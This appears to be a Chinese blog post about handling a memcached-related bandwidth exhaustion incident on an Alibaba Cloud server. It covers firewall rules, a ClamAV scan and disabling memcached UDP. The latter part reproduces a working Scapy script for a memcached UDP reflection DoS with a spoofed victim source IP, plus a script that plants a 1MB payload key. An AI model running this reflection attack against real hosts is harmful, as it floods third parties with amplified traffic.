[问题已处理]阿里云服务器带宽被memcached用尽

阿里云服务器报警

出网带宽100%

使用

目测是被攻击了

重启了memcached服务。发现不奏效  只能暂时缓解,流量还是会持续上升。

参考了帖子

https://www.v2ex.com/t/308673

禁用了这个域名对应的ip

图中的真实ip正好是反过来的。应该禁用104.198.120.50

安全组入和出都禁掉。

防火墙里也禁掉了

暂时没问题了

安装一个杀毒的软件检查一下

yum install clamav -y

 

 

 

 

 

 

杀完毒如果有病毒可以通过搜索FOUND关键字查找。

可以参考

https://www.cnblogs.com/IPYQ/p/6791256.html  

我杀毒之后 发现并没有问题,初步怀疑是外部攻击而不是内部攻击,比如说是memcached  ddos攻击。这边重新去掉防火墙和安全组测试了一下,发现并没有出现之前的情况。

 

https://blog.csdn.net/qq_38780085/article/details/79572830

 

开启防火墙,移除11211 访问的规则,因为memcached这边调用是本机

,所以防火墙里不加 也没关系。

也可以用如下方式 道理差不多。都是只允许访问本机的11211

https://cloud.tencent.com/developer/article/1188910

 

 

 

暂时没有弄清攻击的方式 一开始以为是memcached ddos

 

在服务器上禁用了Memcached服务的UDP协议,运行了以下“echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc  -u localhost 11211”命令检测是否关闭memcached 服务UDP协议,查看返回内容,若返回内容为空,则表明您的服务器已经成功修复漏洞,也可以使用“ netstat  -an | grep udp”查看UDP 11211端口是否处于监听状态,如果没有监听,则表示已经成功关停memcached UDP协议。

 

运行出来是空,说明已经关停memcached UDP协议。。

 

尝试使用scapy 构造ip ,进行ddos 攻击也是失败,发送了包。并没有返回。估计是在服务器到外部防火墙就被掐掉了。用博客里的方式也不能用udp方式创建key成功

 

先创建memcached key  大小为1m左右

from pymemcache.client.base import Client

import sys


client = Client(('172.16.128.94', 11211))

# set payload

key = 't'

data ='A'*1023*1023 + "B"

result = client.set('t', data)

if result:

    print "[*] payload set done!"

else:

    print "[!] payload set error!"

也可以手动set key

但是要注意输入的value达到指定长度回车才显示stored

 

发动攻击 纯粹抄博客老哥的脚本 改了一下 把key换成t了。

# -*- coding: utf-8 -*-

'''

author: xjiek2010<at>icloud.com

date: 2018-09-27



Memcached UDP 反射 DOS 检测及攻击脚本

'''



import sys, getopt, socket

from scapy.all import *





def main(argv):

    m_ip = ""

    d_ip = ""

    port = ""

    status = ""



    m_ip, port, status, d_ip = checkParameter(argv)

    print('[+] 验证 Memcache_ip :', m_ip, 'Memcache_port :', port)



    if status == 'check':

        checkAuto(m_ip, port)

    if status == 'boom':

        udpFlood(m_ip, port, d_ip)





'''

UDP反射攻击

m_ip:memcache的IP

port:memcache端口

d_ip:伪造的反射攻击IP

'''





def udpFlood(m_ip, port, d_ip):

    print('')

    if d_ip == "":

        print("[Error] 失败,目标地址不允许为空,缺失 -d 参数")

        exit()



    print('[boom!!!] 开始攻击!!!!')

    data = "A" * 1099

    i = 50  # 设置数和请求数

    keys = ""

    while i:

        keys += "test_udp" + str(i) + " "

        setData = ("\x00\x00\x00\x00\x00\x01\x00\x00set test_udp" + str(i) + " 0 3600 %s\r\n%s\r\n" % (len(data), data))

        send(IP(src=d_ip, dst=m_ip) / UDP(sport=5840, dport=int(port)) / Raw(load=setData), count=1)

        i = i - 1



    getdata = "\x00\x00\x00\x00\x00\x01\x00\x00gets " + "t " + "\r\n"

    packet = (IP(src=d_ip, dst=m_ip) / UDP(sport=5840, dport=int(port)) / Raw(load=getdata))

    send(packet)





'''

用TCP验证是否存在未授权访问

'''





def checkAuto(m_ip, port):

    print('')

    try:

        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:

            s.settimeout(5)  # 超时时间

            s.connect((m_ip, int(port)))

            s.send(b'stats\r\n')

            data = s.recv(65565)

            # print('Received', str(data))  # 打印收到的数据

            if "STAT pid" in str(data):

                print('[+] 存在UDP反射DOS攻击!!!')

    except Exception:

        print('[Error] 失败,未开启memcached或已被修复...')

        exit()





'''

校验输入参数

'''





def checkParameter(argv):

    print('')

    m_ip = port = status = d_ip = ""

    try:

        opts, args = getopt.getopt(argv, "hi:p:s:d:", ["m_ip=", "port=", "status=", "d_ip="])

    except getopt.GetoptError:

        print('Error: memcamche_udp.py -i <Memcache_IP> -d <Flood_IP> -p <Memcache_PORT> -s <STATUS>')

        print('   or: memcamche_udp.py --m_ip=127.0.0.1 --d_ip=8.8.8.8  --port=11211 --status check')

        print('   or: memcamche_udp.py --m_ip=127.0.0.1 --d_ip=8.8.8.8  --port=11211 --status poc')

        sys.exit(2)



    for opt, arg in opts:

        if opt == "-h":

            print('    memcamche_udp.py -i <Memcache_IP> -d <Flood_IP> -p <Memcache_PORT> -s <STATUS>')

            print('or: memcamche_udp.py --m_ip=127.0.0.1 --d_ip=8.8.8.8  --port=11211 --status check')

            sys.exit()

        elif opt in ("-i", "--m_ip"):

            m_ip = arg

        elif opt in ("-p", "--port"):

            port = arg

        elif opt in ("-s", "--status"):

            status = arg

        elif opt in ("-d", "--d_ip"):

            d_ip = arg



    return m_ip, port, status, d_ip





if __name__ == "__main__":

    main(sys.argv[1:])

 

Scapy参考

https://blog.csdn.net/think_ycx/article/details/80142657

http://www.voidcn.com/article/p-nktzujgw-brz.html

https://www.jgeek.cn/archive/id/22.html

最后问题处理掉了,没能发现攻击的漏洞在哪里。有点遗憾

 

 

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

爷来辣

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值